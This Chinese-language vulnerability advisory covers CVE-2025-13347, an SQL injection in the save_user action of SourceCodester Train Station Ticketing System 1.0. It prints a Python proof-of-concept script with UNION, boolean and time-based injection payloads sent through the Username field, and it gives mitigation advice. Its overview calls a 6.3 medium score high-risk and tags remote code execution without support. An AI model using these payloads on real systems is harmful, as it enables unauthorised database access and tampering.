IPBUF安全漏洞报告
English
CVE-2025-13347 CVSS 6.3 中危

CVE-2025-13347: SourceCodester Train Station Ticketing System SQL注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-13347
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Train Station Ticketing System 1.0

相关标签

SQL注入CVE-2025-13347SourceCodesterTrain Station Ticketing SystemWeb应用安全远程代码执行Metasploit低权限认证

漏洞概述

CVE-2025-13347是SourceCodester Train Station Ticketing System 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于ajax.php文件的save_user操作中,攻击者可以通过操纵Username参数实现SQL注入攻击。由于该系统采用低权限认证机制,攻击者只需拥有普通用户账户即可发起攻击。漏洞影响系统的机密性、完整性和可用性,可能导致敏感数据泄露、数据库篡改以及服务中断。该漏洞已被公开披露,Metasploit框架已集成相关利用模块,远程攻击者无需用户交互即可利用此漏洞,对Train Station Ticketing System 1.0构成严重安全威胁。

技术细节

该SQL注入漏洞位于SourceCodester Train Station Ticketing System的/ajax.php文件中,具体在action=save_user参数处理逻辑。当系统处理用户注册或用户信息保存操作时,未对Username参数进行充分的输入验证和SQL语句参数化处理。攻击者可通过构造恶意SQL payloads注入到Username字段中,利用UNION SELECT、布尔盲注或时间盲注等技术获取数据库敏感信息。由于CVSS向量显示攻击复杂度低(AC:L)且无需特殊权限(PR:L),任何能够访问该端点的远程用户都可尝试利用此漏洞。漏洞影响数据库的机密性、完整性和可用性,攻击成功可导致用户凭证泄露、数据库内容被篡改或系统完全沦陷。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标站点使用的Train Station Ticketing System 1.0版本
STEP 2
步骤2
访问ajax.php端点,确认save_user操作存在且可访问
STEP 3
步骤3
构造恶意SQL注入payload,通过Username参数注入到数据库查询中
STEP 4
步骤4
利用UNION注入或盲注技术提取数据库敏感信息(用户表、凭证等)
STEP 5
步骤5
获取管理员权限后,可进一步进行横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13347 SQL Injection PoC # Target: SourceCodester Train Station Ticketing System 1.0 # Endpoint: /ajax.php?action=save_user target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com/ajax.php' # SQL Injection payload for username field payloads = [ "admin' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- -", "admin' OR 1=1-- -", "admin' AND SLEEP(5)-- -", "admin' UNION SELECT version(),user(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16-- -" ] def exploit_sqli(url, payload): data = { 'action': 'save_user', 'Username': payload, 'Password': 'test123', 'FirstName': 'Test', 'LastName': 'User', 'Email': '[email protected]' } try: response = requests.post(url, data=data, timeout=10) print(f'[+] Payload sent: {payload}') print(f'[+] Response status: {response.status_code}') return response.text except Exception as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': print('[CVE-2025-13347] SQL Injection PoC') for payload in payloads: result = exploit_sqli(target_url, payload) if result: print(f'[+] Result: {result[:200]}')

影响范围

SourceCodester Train Station Ticketing System 1.0

防御指南

临时缓解措施
立即停止使用受影响的Train Station Ticketing System 1.0版本,或在ajax.php的save_user操作中实现输入验证和参数化查询。建议使用Web应用防火墙规则临时防护,并在确认无业务影响后升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表